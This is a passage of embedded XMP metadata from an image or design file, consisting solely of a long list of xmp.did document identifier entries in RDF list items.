               <rdf:li>xmp.did:BDACBDE7392068118DBBB6E7718D4067</rdf:li>
               <rdf:li>xmp.did:BDAEF7BB77D8E0118842B29FA6343094</rdf:li>
               <rdf:li>xmp.did:BDB1F5A47F81E211859CA5ACC4FC5852</rdf:li>
               <rdf:li>xmp.did:BDB2A18B4563E111A07F925F034FC299</rdf:li>
               <rdf:li>xmp.did:BDB5C76D5C10E111826FBFD7FD4418C8</rdf:li>
               <rdf:li>xmp.did:BDD2B75B5220681197A5B3F7BD80E4A6</rdf:li>
               <rdf:li>xmp.did:BDDDB312AB206811AADAE549D6335493</rdf:li>
               <rdf:li>xmp.did:BE06C1ADC162E1118504B731400FC892</rdf:li>
               <rdf:li>xmp.did:BE4F8B3D18CCDF11B72F90238024C79A</rdf:li>
               <rdf:li>xmp.did:BE6A18F519206811AB08B6C59174EB66</rdf:li>
               <rdf:li>xmp.did:BE703263631EE0118F0DBCECD0079EC1</rdf:li>
               <rdf:li>xmp.did:BE8D17819821E1119C5ACFF9410FFBA1</rdf:li>
               <rdf:li>xmp.did:BE95ED43AC7FE011ABB8BE0036A8B47A</rdf:li>
               <rdf:li>xmp.did:BEAA02A368F5DE11B0C3D17AAC70FF03</rdf:li>
               <rdf:li>xmp.did:BEACBAD96F2268118083DD6A9D608EBA</rdf:li>
               <rdf:li>xmp.did:BEB549E694F7DE119291E766B0A1BEF8</rdf:li>
               <rdf:li>xmp.did:BEBE9B33ED206811808393D1ADB6772F</rdf:li>
               <rdf:li>xmp.did:BED756C264A1E01184BFDA78B2B86BCD</rdf:li>
               <rdf:li>xmp.did:BEFEB43ADFFEDE11B284FB4AD8643051</rdf:li>
               <rdf:li>xmp.did:BF0FF0E5621511E085C1D1F80F173C23</rdf:li>
               <rdf:li>xmp.did:BF20BD0A1A2068118DBBEE8FF21414E6</rdf:li>
               <rdf:li>xmp.did:BF2C920C8E5EDF11995DC2BC3CE2A790</rdf:li>
               <rdf:li>xmp.did:BF334F5BDE5CDF11B075A642DD273F8B</rdf:li>
               <rdf:li>xmp.did:BF347B8D804DDF1194D8EB13EAA37FE9</rdf:li>
               <rdf:li>xmp.did:BF45DF9E092068118C14D0600B105B47</rdf:li>
               <rdf:li>xmp.did:BF63DD95B2CCE0119EBDE7C04FE850A7</rdf:li>
               <rdf:li>xmp.did:BF7C797A9EA7E011B01BA4DFDBC23FA5</rdf:li>
               <rdf:li>xmp.did:BF7E93310B2068119109E40C65AF52D5</rdf:li>
               <rdf:li>xmp.did:BF9B22EE162068118083B78A909B2B11</rdf:li>
               <rdf:li>xmp.did:BFACBAD96F2268118083DD6A9D608EBA</rdf:li>
               <rdf:li>xmp.did:BFC3FC3B0B2068118DBBAD0D202BA5BB</rdf:li>
               <rdf:li>xmp.did:BFD75184AE21681188C696DC609994EC</rdf:li>
               <rdf:li>xmp.did:BFE2188E06EBDF118949AE5D7DB8F72C</rdf:li>
               <rdf:li>xmp.did:C028BC2D2E2068118F62A2D886FC3EA7</rdf:li>
               <rdf:li>xmp.did:C03040BFDF90DF11AE82CBA880F138F9</rdf:li>
               <rdf:li>xmp.did:C04BD4E7C09BDF11AFDDE3BAE1452D92</rdf:li>
               <rdf:li>xmp.did:C0748BFBE1F6DE118A4D938515C27EED</rdf:li>
               <rdf:li>xmp.did:C074A85E06F7DE119CCA8227581679DF</rdf:li>
               <rdf:li>xmp.did:C085439615206811871FE459E5C10885</rdf:li>
               <rdf:li>xmp.did:C0B9333FF656E0119E9BF959F2C32C3A</rdf:li>
               <rdf:li>xmp.did:C0FA3368FB61DF118486C589709AD463</rdf:li>
               <rdf:li>xmp.did:C107EE19BD48E111B306BB55BD13A17C</rdf:li>
               <rdf:li>xmp.did:C11D62CE89DFE011B929CF6BC476BD04</rdf:li>
               <rdf:li>xmp.did:C12C2402E064DD11AE6AB030FE2B7C4A</rdf:li>
               <rdf:li>xmp.did:C12F6023082068118DBBC951C2B0319E</rdf:li>
               <rdf:li>xmp.did:C12F7F6515206811994CB7BCB4921805</rdf:li>
               <rdf:li>xmp.did:C16B15488B21681188C696DC609994EC</rdf:li>
               <rdf:li>xmp.did:C17A8F0199A1E0118878B6C04D1A04AD</rdf:li>
               <rdf:li>xmp.did:C1838F8DDA0AE01197429FC76726047E</rdf:li>
               <rdf:li>xmp.did:C1A2FBFD4D0DE2118042BB7D4501BF8A</rdf:li>
               <rdf:li>xmp.did:C1A9DF14DE9CDF118817EBE6E8614D49</rdf:li>
               <rdf:li>xmp.did:C1F456B1E5F0DF11A0DC84A10DADEBAB</rdf:li>
               <rdf:li>xmp.did:C1F748A95921681188C6BD0FAC4EC9BB</rdf:li>
               <rdf:li>xmp.did:C23565E81520681192B0BAA904DE0F8D</rdf:li>
               <rdf:li>xmp.did:C24A78849BB6E01190A89C4CCC2D4F9B</rdf:li>
               <rdf:li>xmp.did:C25A2B7644C9E011876ACD020D3E5B8C</rdf:li>
               <rdf:li>xmp.did:C26002A90BA4E1118A96EF6EABC88C7D</rdf:li>
               <rdf:li>xmp.did:C260BC736FF5E011AE33BF13D9C1F74F</rdf:li>
               <rdf:li>xmp.did:C26C0D495267DF11B2E5C8CA2A20B501</rdf:li>
               <rdf:li>xmp.did:C29C58B9EBDADF11AF20E3D3A3FCE87D</rdf:li>
               <rdf:li>xmp.did:C29F4E9960D2E0118A79CAB094491032</rdf:li>
               <rdf:li>xmp.did:C2AD9363CD55E01183CDCC2F4C9AC40B</rdf:li>
               <rdf:li>xmp.did:C2DABB9C372068118A6DFCCD72587E50</rdf:li>
               <rdf:li>xmp.did:C2FE91D6B461DF118EB2844440C95E24</rdf:li>
               <rdf:li>xmp.did:C355D7A56CC9E011BE5CF2843EAC54C4</rdf:li>
               <rdf:li>xmp.did:C359EBCA07206811B4F2ECC5CA197BE3</rdf:li>
               <rdf:li>xmp.did:C36E394A4E3DE011BD0CA68D606AEC07</rdf:li>
               <rdf:li>xmp.did:C373CEC0362068118F62D0F7010AC02F</rdf:li>
               <rdf:li>xmp.did:C38F0EAD67206811A26EEF0A84B9044C</rdf:li>
               <rdf:li>xmp.did:C3D6788F3D88E111BF8FA8DC12EEFFFF</rdf:li>
               <rdf:li>xmp.did:C3E99553BA2BE2118052DF928F7D1CCC</rdf:li>
               <rdf:li>xmp.did:C43B5085132068119889DCBFE0400082</rdf:li>
               <rdf:li>xmp.did:C4411611AFBBE01189DAB43C88389E52</rdf:li>
               <rdf:li>xmp.did:C44A78849BB6E01190A89C4CCC2D4F9B</rdf:li>
               <rdf:li>xmp.did:C479F20430A6DF119C3AB96E6BC803AD</rdf:li>
               <rdf:li>xmp.did:C486B274072068118A6DB61EA12CE152</rdf:li>
               <rdf:li>xmp.did:C4987993D02068119457F89D978401EF</rdf:li>
               <rdf:li>xmp.did:C49E967A961611E19B3DFBB2B78D5616</rdf:li>
               <rdf:li>xmp.did:C4AD9363CD55E01183CDCC2F4C9AC40B</rdf:li>
               <rdf:li>xmp.did:C4AF4E884A20681188C6D9EA900BA018</rdf:li>
               <rdf:li>xmp.did:C4B77AFC675511E091DBB005BFD6BA11</rdf:li>
               <rdf:li>xmp.did:C4EB4F33452068118F62C33B37A7F60E</rdf:li>
               <rdf:li>xmp.did:C504578E07206811871FBEFC9746F5C9</rdf:li>
               <rdf:li>xmp.did:C53485763605E011B0878B10470BE98C</rdf:li>
               <rdf:li>xmp.did:C537362071FDE111A6CBD28E3204D05F</rdf:li>
               <rdf:li>xmp.did:C53C55E5DC85E011BCF1901177E71BAB</rdf:li>
               <rdf:li>xmp.did:C53D8B810F2068118083F25F6D242A3D</rdf:li>
               <rdf:li>xmp.did:C557CDFEDB20E1119F85BCA918D64217</rdf:li>
               <rdf:li>xmp.did:C57F117407206811AE56F9DF145DFB90</rdf:li>
               <rdf:li>xmp.did:C597C9E96B86DE118E3ABAA4690EC045</rdf:li>
               <rdf:li>xmp.did:C5B4C90F4321681188C6D30DA152C0CC</rdf:li>
               <rdf:li>xmp.did:C5D75184AE21681188C696DC609994EC</rdf:li>
               <rdf:li>xmp.did:C5F5FBA4B262DF11A5908EE048EFD3D2</rdf:li>
               <rdf:li>xmp.did:C63B5085132068119889DCBFE0400082</rdf:li>
               <rdf:li>xmp.did:C63D5474072068118A6DB02CBE664136</rdf:li>
               <rdf:li>xmp.did:C65CE2DD9825681194B3BB12004967BA</rdf:li>
               <rdf:li>xmp.did:C665DA75272068118DBB8ABDC264B36A</rdf:li>
               <rdf:li>xmp.did:C66C0D495267DF11B2E5C8CA2A20B501</rdf:li>
               <rdf:li>xmp.did:C674BF7FAC68E111AECEAC50B4A6B026</rdf:li>
               <rdf:li>xmp.did:C67F1174072068119109E40C65AF52D5</rdf:li>
               <rdf:li>xmp.did:C6987993D02068119457F89D978401EF</rdf:li>
               <rdf:li>xmp.did:C69C58B9EBDADF11AF20E3D3A3FCE87D</rdf:li>
               <rdf:li>xmp.did:C6A1316B7A9311E08FB7BFB7834C8092</rdf:li>
               <rdf:li>xmp.did:C6ABA9CFEE9BE0119771B91A3FE0545E</rdf:li>
               <rdf:li>xmp.did:C6B8E7B8A81DE011BAA6EBE3B75F964B</rdf:li>
               <rdf:li>xmp.did:C6C8B5E78F64E211B45DD1C526A3B765</rdf:li>
               <rdf:li>xmp.did:C6EB4F33452068118F62C33B37A7F60E</rdf:li>
               <rdf:li>xmp.did:C6F4B80862DFE011AB0C82242CB4ABF8</rdf:li>
               <rdf:li>xmp.did:C70A1F8A9349DE119B948BACA98BBECA</rdf:li>
               <rdf:li>xmp.did:C7110E5F5076DF118E61ACD179D06244</rdf:li>
               <rdf:li>xmp.did:C73A523D1846DF118065D80F7B596DE4</rdf:li>
               <rdf:li>xmp.did:C74948DCBEFFDE11A2C4FA92228FE725</rdf:li>
               <rdf:li>xmp.did:C7ABA9CFEE9BE0119771B91A3FE0545E</rdf:li>
               <rdf:li>xmp.did:C7E5F38D830EDF11AD72E43AD91B55C7</rdf:li>
               <rdf:li>xmp.did:C82B0AFF082068119889DCBFE0400082</rdf:li>
               <rdf:li>xmp.did:C845CA63952011E0B7FCAB469E65ED70</rdf:li>
               <rdf:li>xmp.did:C84A78849BB6E01190A89C4CCC2D4F9B</rdf:li>
               <rdf:li>xmp.did:C85758D352206811871FBF7EE03058F8</rdf:li>
               <rdf:li>xmp.did:C8656C4D0C20681192B0CF50B4F61303</rdf:li>
               <rdf:li>xmp.did:C86B3BB49AE6E011ACAD995E603963FD</rdf:li>
               <rdf:li>xmp.did:C885439615206811871FE459E5C10885</rdf:li>
               <rdf:li>xmp.did:C88B63F01C2DE011AF01E4C0E7A7D0D9</rdf:li>
               <rdf:li>xmp.did:C8C3AD0F9810E0119E3EED6DA52BB020</rdf:li>
               <rdf:li>xmp.did:C8C6B45C1E206811B6CBAD7346CA0012</rdf:li>
               <rdf:li>xmp.did:C8D7ADCA8B55E011983EC27DD90F323F</rdf:li>
               <rdf:li>xmp.did:C8D94497193FE011BCB2EBD6700DA6F2</rdf:li>
               <rdf:li>xmp.did:C8EB4F33452068118F62C33B37A7F60E</rdf:li>
               <rdf:li>xmp.did:C8F09C96BF57E111B6B4EE150148C773</rdf:li>
               <rdf:li>xmp.did:C952816D83206811BCCDE187B49CA19C</rdf:li>
               <rdf:li>xmp.did:C955F46BF5C4E1118DFE8CAB360B3A7D</rdf:li>
               <rdf:li>xmp.did:C97F117407206811994CF132BC83D69A</rdf:li>
               <rdf:li>xmp.did:C9A314CADB74E01183F7CF6DECDEA188</rdf:li>
               <rdf:li>xmp.did:C9C04586BC53E0119D3985FB4A82845E</rdf:li>
               <rdf:li>xmp.did:C9E8CCFA0F5C11E0BA48D224F2326A69</rdf:li>
               <rdf:li>xmp.did:CA5CE2DD9825681194B3BB12004967BA</rdf:li>
               <rdf:li>xmp.did:CA6B7B6693B3E011A8B593C8AF3824C9</rdf:li>
               <rdf:li>xmp.did:CA8B034392216811AB65A20D70355B6B</rdf:li>
               <rdf:li>xmp.did:CA907D710A206811871FB67A5203D1F1</rdf:li>
               <rdf:li>xmp.did:CA949CCAAFCCDF11AAA5ECB36CFA01C9</rdf:li>
               <rdf:li>xmp.did:CA965767E448DF11BD5AD847CAF7D20F</rdf:li>
               <rdf:li>xmp.did:CAA5BA052300E2118295C79BA4470A1D</rdf:li>
               <rdf:li>xmp.did:CAA83FFC05216811910987CF0230F4F6</rdf:li>
               <rdf:li>xmp.did:CAB26B3347BFDF11B227F22ACDD3F69E</rdf:li>
               <rdf:li>xmp.did:CAC3CE2B152068118F62A3A183D34D6B</rdf:li>
               <rdf:li>xmp.did:CAD23720A27DE011B2AAA058498F3016</rdf:li>
               <rdf:li>xmp.did:CAD65C2A944611DFAD30E8C124A99D8A</rdf:li>
               <rdf:li>xmp.did:CAD848C7132068118F62C8B35A3087C2</rdf:li>
               <rdf:li>xmp.did:CAEB4F33452068118F62C33B37A7F60E</rdf:li>
               <rdf:li>xmp.did:CB3C8935D32FE011BF3EB0F71922FF5C</rdf:li>
               <rdf:li>xmp.did:CB5BBB441A2068118083EE03884A9181</rdf:li>
               <rdf:li>xmp.did:CB5CAC3AAAD1E01189C59130EDE658F2</rdf:li>
               <rdf:li>xmp.did:CB6B7B6693B3E011A8B593C8AF3824C9</rdf:li>
               <rdf:li>xmp.did:CBB9FF72DC1CE111896FE48444E6BF67</rdf:li>
               <rdf:li>xmp.did:CBC2D56C76D0E011AE89F77DEF966F69</rdf:li>
               <rdf:li>xmp.did:CBCA914B2520681186C89F4E62C56BFC</rdf:li>
               <rdf:li>xmp.did:CBD0B6C4107611E188C986B42CAF95E2</rdf:li>
               <rdf:li>xmp.did:CBDBB8F284A5E111B27FAAF2CB10FBA4</rdf:li>
               <rdf:li>xmp.did:CBEEAB899633DF1195CECCB8F131145E</rdf:li>
               <rdf:li>xmp.did:CC0C567EB42168118F0FBB5DBDD97766</rdf:li>
               <rdf:li>xmp.did:CC1781310CC6DF1199CA8A528D44F364</rdf:li>
               <rdf:li>xmp.did:CC18FF9593BCE211A3A5CA60DD7D387F</rdf:li>
               <rdf:li>xmp.did:CC1C7F2F132068118DBBC951C2B0319E</rdf:li>
               <rdf:li>xmp.did:CC20579C3A20681180839613FFBBFAAC</rdf:li>
               <rdf:li>xmp.did:CC233AAA1220681180839CE599C3AD30</rdf:li>
               <rdf:li>xmp.did:CC49A8FC6195DE11A97FFAA811454526</rdf:li>
               <rdf:li>xmp.did:CC4AB591A7DCDF11BF79FA62B51DF6C7</rdf:li>
               <rdf:li>xmp.did:CC68694A34206811A257FF904FD97A4A</rdf:li>
               <rdf:li>xmp.did:CC7F3A7707206811A9A48DA9A631D3AD</rdf:li>
               <rdf:li>xmp.did:CC84C070310D11E0A41D9A15BD8FDB97</rdf:li>
               <rdf:li>xmp.did:CCA74374072068118C14B6E32A0451D5</rdf:li>
               <rdf:li>xmp.did:CCABA9CFEE9BE0119771B91A3FE0545E</rdf:li>
               <rdf:li>xmp.did:CCB3A3B94A21681188C696DC609994EC</rdf:li>
               <rdf:li>xmp.did:CCBBC4458F74E011AE3F83545C46DC51</rdf:li>
               <rdf:li>xmp.did:CCD0AA46E433E211B080FAA1E1CF936E</rdf:li>
               <rdf:li>xmp.did:CCD848C7132068118F62C8B35A3087C2</rdf:li>
               <rdf:li>xmp.did:CCE142800AF6DE11A0C2964358D2F659</rdf:li>
               <rdf:li>xmp.did:CCECF0D70C8AE111A162CEB747E6BFD7</rdf:li>
               <rdf:li>xmp.did:CD2AF5DCA5C4DF11BA82AFFFE558943D</rdf:li>
               <rdf:li>xmp.did:CD67D8767D01E211A29E8D85CBAF2D67</rdf:li>
               <rdf:li>xmp.did:CD6813070EEBDF11B9A4AA1E99D475B0</rdf:li>
               <rdf:li>xmp.did:CD7EF54FA644DE11A5E69E0898C580C1</rdf:li>
               <rdf:li>xmp.did:CD8E920A3172DF119D54C6C3DCAFBAAA</rdf:li>
               <rdf:li>xmp.did:CD930175072068118A6D8B9B23B43775</rdf:li>
               <rdf:li>xmp.did:CDB3A3B94A21681188C696DC609994EC</rdf:li>
               <rdf:li>xmp.did:CDE88BCE4B6FDF11B218B00D847DC297</rdf:li>
               <rdf:li>xmp.did:CDF14F3619206811BE9C88FB4F6D925B</rdf:li>
               <rdf:li>xmp.did:CE153DAB66206811994C9B7F51AE0063</rdf:li>
               <rdf:li>xmp.did:CE21BFB2102068118F62E190263115F9</rdf:li>
               <rdf:li>xmp.did:CE2DDF9A8C13E2119F76DBEFB9F8FF7B</rdf:li>
               <rdf:li>xmp.did:CE469BE7055DE111A124EDBCAF435B8A</rdf:li>
               <rdf:li>xmp.did:CE55F5727120681197A5FDF89CF71714</rdf:li>
               <rdf:li>xmp.did:CE58F6CF24A011E19E12B87F7C1C15CF</rdf:li>
               <rdf:li>xmp.did:CE6695AD509CE011A9849FED36CF01BC</rdf:li>
               <rdf:li>xmp.did:CE6B7B6693B3E011A8B593C8AF3824C9</rdf:li>
               <rdf:li>xmp.did:CE7A16A70B11E11194B8E4CDCB5E146C</rdf:li>
               <rdf:li>xmp.did:CE807746834D11E0B62FB7127DA0FEAF</rdf:li>
               <rdf:li>xmp.did:CEA314CADB74E01183F7CF6DECDEA188</rdf:li>
               <rdf:li>xmp.did:CED184CBA02068118083F25F6D242A3D</rdf:li>
               <rdf:li>xmp.did:CEDD717E815111E084CF9208B3BF176F</rdf:li>
               <rdf:li>xmp.did:CF05856847206811AEE4ECC20A5D0880</rdf:li>
               <rdf:li>xmp.did:CF076AC713206811822AE2C1D31DD905</rdf:li>
               <rdf:li>xmp.did:CF0F772E9F92E011B00AB787F8822B46</rdf:li>
               <rdf:li>xmp.did:CFB6F4B7EEC4E1118DFE8CAB360B3A7D</rdf:li>
               <rdf:li>xmp.did:CFBF4E58455AE011B46F8279F527A1C1</rdf:li>
               <rdf:li>xmp.did:CFC55319B973DF11BD88861D7D0A1B18</rdf:li>
               <rdf:li>xmp.did:CFC659F89E20DF118A73D73207D10630</rdf:li>
               <rdf:li>xmp.did:CFCBF6F8CD8311DFA249DFBA6DFC5141</rdf:li>
               <rdf:li>xmp.did:CFD9BF7E642011E09A57C4DC582798AF</rdf:li>
               <rdf:li>xmp.did:D0049E63829CE0118D4EBC9823EDBF3D</rdf:li>
               <rdf:li>xmp.did:D0264954A4DADF11BEE08D9B746800A3</rdf:li>
               <rdf:li>xmp.did:D028D5CC3D236811A613DD728240A3A8</rdf:li>
               <rdf:li>xmp.did:D02F9E9A75A5E1118FE7C695FF4AC513</rdf:li>
               <rdf:li>xmp.did:D0385D898772E0118C3089D479022CBD</rdf:li>
               <rdf:li>xmp.did:D04B2FA57F2468118A6DA8FFA0360EE4</rdf:li>
               <rdf:li>xmp.did:D0558D8E00ACE21196A784C3CEE5F236</rdf:li>
               <rdf:li>xmp.did:D05D1DD79FB0E211A6CC999F13B74FE8</rdf:li>
               <rdf:li>xmp.did:D0854A8E16206811A7BAA0072BE06874</rdf:li>
               <rdf:li>xmp.did:D099531188206811B841A65AE502C067</rdf:li>
               <rdf:li>xmp.did:D0A7CE91808CE011A0FC932931B9D7E7</rdf:li>
               <rdf:li>xmp.did:D0A9E34ACBDADF119399D8810BC9A38D</rdf:li>
               <rdf:li>xmp.did:D0B31BC50D206811871F81B8681E3F37</rdf:li>
               <rdf:li>xmp.did:D113248AE42068118BDAECB4C7294005</rdf:li>
               <rdf:li>xmp.did:D117B727584FE011B07AC3AB3AF6CADF</rdf:li>
               <rdf:li>xmp.did:D155F46BF5C4E1118DFE8CAB360B3A7D</rdf:li>
               <rdf:li>xmp.did:D171C5700C2BE111813897F26901095F</rdf:li>
               <rdf:li>xmp.did:D1B62A0C1BF7DE119291E766B0A1BEF8</rdf:li>
               <rdf:li>xmp.did:D1DE8BD96D2DE21199E0D96C73D27049</rdf:li>
               <rdf:li>xmp.did:D217B386CF51DE118702BAC19059DE69</rdf:li>
               <rdf:li>xmp.did:D23F8D4121226811AE56D84ACAF35011</rdf:li>
               <rdf:li>xmp.did:D263C670DE5DE011BB0EAD528CC88556</rdf:li>
               <rdf:li>xmp.did:D272197E13206811B647A18F11DD87B3</rdf:li>
               <rdf:li>xmp.did:D2BF5423BC20681188C69432872C4A2A</rdf:li>
               <rdf:li>xmp.did:D2C07B9A80206811871F82B520273E04</rdf:li>
               <rdf:li>xmp.did:D2D750523220681188C6D9EA900BA018</rdf:li>
               <rdf:li>xmp.did:D30C30AA8D5FE1119C00CF3239360FFC</rdf:li>
               <rdf:li>xmp.did:D316FC348429E011A8B89C54CED456E2</rdf:li>
               <rdf:li>xmp.did:D3258C3318206811B83DC55B43B113F3</rdf:li>
               <rdf:li>xmp.did:D3451B801E25DF11BAB9C18CADBB71B8</rdf:li>
               <rdf:li>xmp.did:D34A6066251FE111896FE48444E6BF67</rdf:li>
               <rdf:li>xmp.did:D366EFA10A20681191098977F35DFB2C</rdf:li>
               <rdf:li>xmp.did:D367491B24B1E011B2A4C9484D8C14D8</rdf:li>
               <rdf:li>xmp.did:D368B5044420681192B0C2218AE24713</rdf:li>
               <rdf:li>xmp.did:D36DB02BEF23E011A709EE79085E3A92</rdf:li>
               <rdf:li>xmp.did:D38D913B2023E011A28CB2C17663E322</rdf:li>
               <rdf:li>xmp.did:D3A50548028EE111BDF0B14E17080E88</rdf:li>
               <rdf:li>xmp.did:D3C068EC2321681192B0ED941B81D256</rdf:li>
               <rdf:li>xmp.did:D3C1E4C01A206811A298F9B019A4E17E</rdf:li>
               <rdf:li>xmp.did:D3D399022320681191098A39F9B5A384</rdf:li>
               <rdf:li>xmp.did:D3F21AF63A6111E0B888A069FAD6D755</rdf:li>
               <rdf:li>xmp.did:D4054EC11920681192B0BAA904DE0F8D</rdf:li>
               <rdf:li>xmp.did:D449ED75072068118A6DCDECC596EB6E</rdf:li>
               <rdf:li>xmp.did:D44D627707206811A9A48DA9A631D3AD</rdf:li>
               <rdf:li>xmp.did:D45FDEAB7A9311E08DB687AECA829785</rdf:li>
               <rdf:li>xmp.did:D474D8ACBB15E111AB6D93A93E698048</rdf:li>
               <rdf:li>xmp.did:D4775D6420071168A6FD9E02138B5F40</rdf:li>
               <rdf:li>xmp.did:D47BFA6ECB2168118DBBC5480D02D1C9</rdf:li>
               <rdf:li>xmp.did:D49A4C95C33EE1119CBABE87733F34D0</rdf:li>
               <rdf:li>xmp.did:D4B37F557A30E1118543FAA4C0F0C0E2</rdf:li>
               <rdf:li>xmp.did:D4C63AF19A6AE011A437C7EE6964A28D</rdf:li>
               <rdf:li>xmp.did:D4D2285E40206811871FD6D9ADEF8938</rdf:li>
               <rdf:li>xmp.did:D4D307212820681192B0AB18D6F10F7C</rdf:li>
               <rdf:li>xmp.did:D4EA3821612068118F62CB506406CA27</rdf:li>
               <rdf:li>xmp.did:D50075CD282068119109C35E4994DFBC</rdf:li>
               <rdf:li>xmp.did:D55F3020192068119109E5FE6F353B41</rdf:li>
               <rdf:li>xmp.did:D568B5044420681192B0C2218AE24713</rdf:li>
               <rdf:li>xmp.did:D5720918E46411E09D0EB9B4FE949754</rdf:li>
               <rdf:li>xmp.did:D58C284B1638E0119CCBC45B8A98BC1C</rdf:li>
               <rdf:li>xmp.did:D5A37ABA6248E1119296AFD8AEC0587B</rdf:li>
               <rdf:li>xmp.did:D5B44C7507206811A61383ACB7205BF3</rdf:li>
               <rdf:li>xmp.did:D5D9C4ECE5BDE011B0BBD5E3244285CA</rdf:li>
               <rdf:li>xmp.did:D5DFE1B26BD011DFA74DF6D674CDC773</rdf:li>
               <rdf:li>xmp.did:D608018C282068118A6D94CA2FB9BD94</rdf:li>
               <rdf:li>xmp.did:D6134AC32BADE011B4F8CAE3236EA224</rdf:li>
               <rdf:li>xmp.did:D64E27203082E0118628FD4D82A2A505</rdf:li>
               <rdf:li>xmp.did:D65E9B6B9B1F11E0A8528DA95BBD9874</rdf:li>
               <rdf:li>xmp.did:D69086151B206811871F8AFC203B9F39</rdf:li>
               <rdf:li>xmp.did:D69F8CA00C20681195FEA93185EB8BBA</rdf:li>
               <rdf:li>xmp.did:D6A6E8512020681188C6DFA994DA683A</rdf:li>
               <rdf:li>xmp.did:D6B50152132068118DBBC951C2B0319E</rdf:li>
               <rdf:li>xmp.did:D6CBABDFEF97E011941DDF9DFEF4A3CC</rdf:li>
               <rdf:li>xmp.did:D6E39268082068118A6DF6FE97EAF5F6</rdf:li>
               <rdf:li>xmp.did:D6EA3821612068118F62CB506406CA27</rdf:li>
               <rdf:li>xmp.did:D6EA4607CD8311DF8EDEDC1460641DE3</rdf:li>
               <rdf:li>xmp.did:D7176B6D58E0E011B95EDA3E835E31DF</rdf:li>
               <rdf:li>xmp.did:D7200B25316ADF11BBDBF2B8175EFA10</rdf:li>
               <rdf:li>xmp.did:D736F40B6EEBDF119CE89B15806AEDB9</rdf:li>
               <rdf:li>xmp.did:D74079FB02216811871F8B25E38A2B4D</rdf:li>
               <rdf:li>xmp.did:D74E0BEDE60A11DFADD7ABB47E359CF2</rdf:li>
               <rdf:li>xmp.did:D74E27203082E0118628FD4D82A2A505</rdf:li>
               <rdf:li>xmp.did:D76FEA384729681188C6BE54CC59F542</rdf:li>
               <rdf:li>xmp.did:D77EFDE90F5CDF11B4809365EE8005C3</rdf:li>
               <rdf:li>xmp.did:D79444774A2068118DBBACDD367EC38B</rdf:li>
               <rdf:li>xmp.did:D7A082228321681188C696DC609994EC</rdf:li>
               <rdf:li>xmp.did:D7B44C7507206811A61383ACB7205BF3</rdf:li>
               <rdf:li>xmp.did:D7B6A767DBAE11E09201EE5241615466</rdf:li>
               <rdf:li>xmp.did:D7BA1EA5995CDF11AD45CC120E7E64E2</rdf:li>
               <rdf:li>xmp.did:D7E1D5750720681188C6FBA7DFD8364D</rdf:li>
               <rdf:li>xmp.did:D83C6E8818206811871FBF7EE03058F8</rdf:li>
               <rdf:li>xmp.did:D85DB58C20AAE011979696CECC20A286</rdf:li>
               <rdf:li>xmp.did:D86721DBB0216811ACAFA04FB95DDACB</rdf:li>
               <rdf:li>xmp.did:D883498B272068118DBBF11625A05A5C</rdf:li>
               <rdf:li>xmp.did:D883D4C80775E011B3C9FB563EB9BBC3</rdf:li>
               <rdf:li>xmp.did:D8916804C5206811871F84AFAC89F052</rdf:li>
               <rdf:li>xmp.did:D89F27FF1A20681191099D4256FC58DA</rdf:li>
               <rdf:li>xmp.did:D8A37ABA6248E1119296AFD8AEC0587B</rdf:li>
               <rdf:li>xmp.did:D8D3659C0B20681188C6D9EA900BA018</rdf:li>
               <rdf:li>xmp.did:D9067F028B256811994C95D215E3C31B</rdf:li>
               <rdf:li>xmp.did:D90FC431F119E211B43B8E92589DA083</rdf:li>
               <rdf:li>xmp.did:D92B2DCBCF89DF119C22F96AB2E9AB99</rdf:li>
               <rdf:li>xmp.did:D93274E8B36DDF11B2D1E342D34EB81B</rdf:li>
               <rdf:li>xmp.did:D9487D300A2068118DBB90708B5C4BE8</rdf:li>
               <rdf:li>xmp.did:D94E27203082E0118628FD4D82A2A505</rdf:li>
               <rdf:li>xmp.did:D95D3C7D6BD111DFA74DF6D674CDC773</rdf:li>
               <rdf:li>xmp.did:D99CE9603E09E011A13CF249BFF51509</rdf:li>
               <rdf:li>xmp.did:D9A628947F21681188C696DC609994EC</rdf:li>
               <rdf:li>xmp.did:D9B44C7507206811A61383ACB7205BF3</rdf:li>
               <rdf:li>xmp.did:D9B4638A9A1E11E19BE4C7C0251D0A6F</rdf:li>
               <rdf:li>xmp.did:D9B4638E9A1E11E19BE4C7C0251D0A6F</rdf:li>
               <rdf:li>xmp.did:D9B8D1DC1E2068119109A276E6305D40</rdf:li>
               <rdf:li>xmp.did:D9C3D3072920681194579828B43B938A</rdf:li>
               <rdf:li>xmp.did:D9D0C475072068118A6D8C8584E42AF0</rdf:li>
               <rdf:li>xmp.did:DA30AD8C12206811910989406DF36966</rdf:li>
               <rdf:li>xmp.did:DA67C380402068118F62A588B3F859EB</rdf:li>
               <rdf:li>xmp.did:DA6803A1BB1BDF11BE488DB0BB394C1B</rdf:li>
               <rdf:li>xmp.did:DA7D3837092068118083AFE81BBB41F0</rdf:li>
               <rdf:li>xmp.did:DA8321A0FE11E011A95D87703A2192F9</rdf:li>
               <rdf:li>xmp.did:DAA1D198ADB6DF11BCFD93E76A0DC2F4</rdf:li>
               <rdf:li>xmp.did:DAB2A2F9FB76DE11BAF5E143B0B86FF1</rdf:li>
               <rdf:li>xmp.did:DAB8D1DC1E2068119109A276E6305D40</rdf:li>
               <rdf:li>xmp.did:DAC8507854D5DF11A094DF01E6EDE320</rdf:li>
               <rdf:li>xmp.did:DB00867DC148E211975BE3F01A671811</rdf:li>
               <rdf:li>xmp.did:DB1E4C1CE87ADF118CB7FEA7CD74D35B</rdf:li>
               <rdf:li>xmp.did:DB6BC860392168118F62F638EA26DDDD</rdf:li>
               <rdf:li>xmp.did:DB9AABDB4185E1118EA593F7D41D8688</rdf:li>
               <rdf:li>xmp.did:DBB74BCAAEF2E011AFB3985041AEA7D5</rdf:li>
               <rdf:li>xmp.did:DBDC160125286811AFFD8310599E7E7C</rdf:li>
               <rdf:li>xmp.did:DBF03BB0282068118DBBBBF8CFA70188</rdf:li>
               <rdf:li>xmp.did:DBF226EE2D81E011A575FF8823ABA620</rdf:li>
               <rdf:li>xmp.did:DC00867DC148E211975BE3F01A671811</rdf:li>
               <rdf:li>xmp.did:DC3A9A2356206811871FF027B31BAC43</rdf:li>
               <rdf:li>xmp.did:DC4F4822108DE011A1C7E8C95E0A5A44</rdf:li>
               <rdf:li>xmp.did:DC74AD2D0C206811B1A4827FBE321FD6</rdf:li>
               <rdf:li>xmp.did:DC7625C4C8226811994CAA9908F19741</rdf:li>
               <rdf:li>xmp.did:DC896F74072068118A6DB7170A660991</rdf:li>
